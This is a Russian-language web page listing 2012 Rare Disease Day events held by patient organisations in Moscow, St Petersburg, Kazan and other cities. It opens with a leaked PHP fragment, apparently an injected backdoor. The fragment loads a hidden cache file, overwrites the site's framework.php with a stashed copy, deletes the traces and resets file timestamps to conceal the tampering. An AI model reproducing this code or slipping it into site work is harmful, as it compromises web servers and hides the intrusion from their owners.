$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Мероприятия для пациентов в субъектах РФ
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Мероприятия Мероприятия для пациентов в субъектах РФ
Мероприятия для пациентов в субъектах РФ

Нашими организациями запланированы мероприятия в г.Москве, Московской области, г.Санкт-Петербурге, г.Саратове, г.Оренбурге, г.Екатеринбурге и других городах.

Уже пятый год в мире и в России под эгидой EURORDIS (Европейская организация редких болезней) в конце февраля отмечается день редких заболеваний.

Цель мероприятия – привлечь внимание органов власти и общественности к проблемам людей страдающих от «редких» или «орфанных» заболеваний, стимулировать их решение. В первую очередь - через создание алгоритмов своевременной диагностики заболеваний и предоставления пациентам препаратов за счет государственных средств.

Каждый год тематика «Дня редких заболеваний» разная.
В 2012 году тема: «СОЛИДАРНОСТЬ»

Присоединяйтесь!

 

Совместные мероприятия: МБООИ «Союз пациентов и пациентских организаций по редким заболеваниям»

Национальная Ассоциация организаций больных редкими заболеваниями «ГЕНЕТИКА»

Санкт-Петербургская ассоциация общественных объединений родителей детей-инвалидов ГАООРДИ

15 февраля 2012 ТОРЖЕСТВЕННОЕ ОТКРЫТИЕ ЛЕКОТЕКИ - библиотеки игрушек для детей редкими заболеваниями в Институте раннего вмешательства

27 февраля 2012 СОЦИАЛЬНЫЙ ПРЕСС КЛУБ «Итоги и перспективы развития медицинской помощи больным редкими заболеваниями в РФ в фокусе изменений в законодательной сфере» Санкт-Петербург ИТАР-ТАСС

27 февраля 2012 г ИНФОРМАЦИОННЫЙ ФОРУМ "Пациенты и власть. Эффективный диалог. Солидарность". Санкт-Петербург ул. Фурштатская, д. 24, С 15.00-18.00 Кочубей-клуб

28 февраля 2012 г ПРЕСС КОНФЕРЕНЦИЯ с участием представителей пациентского сообщества и пациентов с редкими   заболеваниями, ведущих врачей, представителей ГД РФ и МЗиСР, представителей прессы и ТВ Москва, Общественная палата

 

 

А также:

ИНФОРМАЦИОННЫЕ БАНЕРЫ о Благотворительной Акции «Год редких заболеваний в России»  

 

«Всероссийское общество орфанных заболеваний» (ВООЗ), объединяющее пациентов с редкими заболеваниями из 46 регионов Российской Федерации

Вв рамках ежегодного Международного Дня редких болезней планирует:
1.    Организовать круглые столы экспертов по редким болезням с участием ведущих врачей, ученых и исследователей, представителей органов здравоохранения и общественности (гг. Санкт-Петербург, Казань).
2.    Поведение  общественных акций «Сад редких болезней», «Письмобум» и «Видео-обращения пациентов».
3.    Организовать в регионах встречи пациентов.
4.    Презентация первого номера журнала «Редкие болезни в России», в котором будут опубликованы основные официальные документы, посвященные редким болезням, будет содержаться информация о проявлениях редких болезней, новых методах их лечения и диагностики. Со страниц журнала пациенты смогут рассказать свои  истории, обратиться за помощью. Особое внимание будет уделено общественным организациям пациентов, действующим в стране и за рубежом. Журнал будет выпущен в печатном и электронном виде и распространен среди пациентов, врачей, направлен в органы власти и благотворительные фонды. Подробности на сайте: http://www.rare-diseases.ru/

5.    Пресс-конференция с ведущими специалистами в сфере редких заболеваний,  широкое освещение проблемы редких заболеваний в СМИ.
 ВООЗ предполагает принять участие в мероприятиях партнеров из общественных организации, органов власти, медицинских учреждений.

Круглый стол на тему ""Медицина и общество для людей с редкими заболеваниями: от игнорирования к солидарности"" пройдет в Казани 21 февраля 2012 года  
КС пройдет в рамках всероссийской благотворительной акции в поддержку людей, страдающих редкими заболеваниями «Редкие, но сильные вместе».
Организаторы круглого стола в Казани:
Общественная Палата РТ (рабочая группа по вопросам здравоохранения и здорового образа жизни Общественной палаты РТ);Автономная некоммерческая организация «Ассоциация содействия больным синдромом Ретта»;«Благотворительный фонд «Окно в НАДЕЖДУ».

 ОСНОВНЫЕ МЕРОПРИТИЯТИЯ ВСЕРОССИЙСКОГО ОБЩЕСТВА ОРФАННЫХ ЗАБОЛЕВАНИЙ НА 2012 ГОД

Всероссийский «День редких болезней-2012» (29 февраля)
Конференция по редким заболеваниям  (май-июнь).
Проведение акции по проблемам редких болезней  в День защиты детей (1 июня 2012 г.).
Конференция в рамках III Всероссийского съезда пациентов (ноябрь).
Издание и распространение совместно с партнерами из рядов пациентов и научного сообщества журнала «Редкие болезни в России» (февраль, сентябрь).
Содействие со-организации пациентов с редкими заболеваниями в регионах:
  - создание, регистрация и текущая поддержка инициативных групп пациентов в 50 регионах РФ;
 - дистанционные консультации зарегистрированных пациентских групп по правовым и организационным вопросам;
 -проведение координационных встреч пациентов, экспертов, представителей органов власти и иных социальных партнеров в 50 регионах;
 -проведение 6 межрегиональных Школ пациентов;
- проведение силами пациентов всероссийского исследования, направленного на выявление проблем и запросов пациентов с редкими заболеваниями.
Текущее взаимодействие с Министерством Здравоохранения и социального развития Российской Федерации (январь - декабрь):

-участие в заседаниях Общественного совета при Министерстве Здравоохранения и социального развития Российской Федерации (не реже 1 раза в квартал);
-представление результатов исследования мнения пациентов;
- проведение серии региональных круглых столов по проблеме редких заболеваний.

Участие в разработке и организации общественного и профессионального обсуждения пакета поправок в действующее федеральное законодательство, направленных на повышение доступности и качества медицинских услуг, предоставляемых пациентам с редкими заболеваниями (февраль - декабрь).

Пресс-конференция по итогам Года редких болезней в России (декабрь).

Освещение событий в сфере преодоления проблемы редких заболеваний через СМИ и интернет порталы  www.rarediseaseday.ru, www.rare-diseases.ru.

Мероприятия ГАООРДИ для пациентов с редкими и генетическими заболеваниями на 2012 год

•    Торжественное открытие лекотеки для детей редкими заболеваниями15 февраля  
•    Cоциальный пресс-клуб в ИТАР- ТАСС, с участием депутатов Государственной Думы, депутатов Законодательного собрания и администрации Санкт-Петербурга,   уполномоченного по правам ребенка в СПб, лидеров общественных организаций объединяющих пациентов с редкими заболеваниями, пациентов с РЗ;
•    Городская информационно-просветительская  акция «Вместе - ради жизни» с  участием пациентов с редкими заболеваниями и представителями администрации города, при участии театра-студии «Пантомима» (Исаакиевская площадь);
•    «Программа Правительства Санкт-Петербурга  «Социальная поддержка детей-инвалидов с редкими и генетическими заболеваниями и их семей «Шире круг» на 2009 – 2012 годы» Итоги и перспективы»; Презентация результатов реализации программы. Торжественное мероприятие с участием депутатов Государственной Думы, депутатов Законодательного собрания и администрации Санкт-Петербурга,   уполномоченного по правам ребенка в СПб, специалистов медицинских учреждений, лидеров общественных организаций объединяющих пациентов с редкими заболеваниями, пациентов с редкими заболеваниями;
•    Информационная поддержка Дня редких заболеваний в СМИ.
•    9 - 11 и 23 - 25 марта - выездные  родительские школы для детей и молодых инвалидов с фенилкетонурией и  нервно-мышечными заболеваниями (60 чел.)  
•    2 - 6 мая -  Третья Весенняя Школа Миологии для неврологов, кардиологов, миологов, морфологов, родителей и пациентов с нервно-мышечными заболеваниями  (Школа организована под эгидой Европейской сети TREAT-NMD по борьбе с миодистрофией  Дюшенна) (100 чел.)
•    14 - 16 мая -  Военно-патриотический слет, посвященный 67 – ой годовщине Победы в Великой Отечественной Войне 1941-1945 г.г.  (80 чел.)
•    11 - 14 июня фестиваль творчества детей–инвалидов, в том числе с редкими заболеваниями, «Содружество», посвященный 20-летнему юбилею ГАООРДИ (12 июня – день рождения ассоциации ГАООРДИ) (300 чел.)

МОО «Союз пациентов и пациентских организаций с редкими заболеваниями» (СПИПОРЗ, в ходе проведения Дня редких заболеваний 28-29 февраля 2012 планирует организацию следующих мероприятий в России:
В МОСКВЕ:
•    28 февраля пресс-конференция в Общественной палате с участием представителей пациентского сообщетства и пациентов с редкими   заболеваниями, ведущих врачей, представителей ГД РФ и МЗиСР, представителей прессы и ТВ;
•    Размещение социальных роликов информационных сюжетов о пациентах с редкими заболеваниями на ТВ;
•    29 февраля – праздничная акция, посвященная Дню редких болезней, которая включает в себя:
1)Выставку работ и фото детей с редкими заболеваниями;
2) Праздник для детей с редкими заболеваниями с участием профессиональных аниматоров;
3) Процедуру торжественного награждения премией «СИНЯЯ ПТИЦА» людей, внесших особый значительный вклад в решение проблем людей с редкими заболеваниями в 2011 году;
4) Торжественный концерт.

                В САНКТ-ПЕТЕРБУРГЕ:
•     социальный пресс-клуб;
•     общественная акция в центре города с участием пациентов с редкими заболеваниями;
•     иформационно-торжественный завтрак с участием чиновников, врачей и общественников.

 
Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru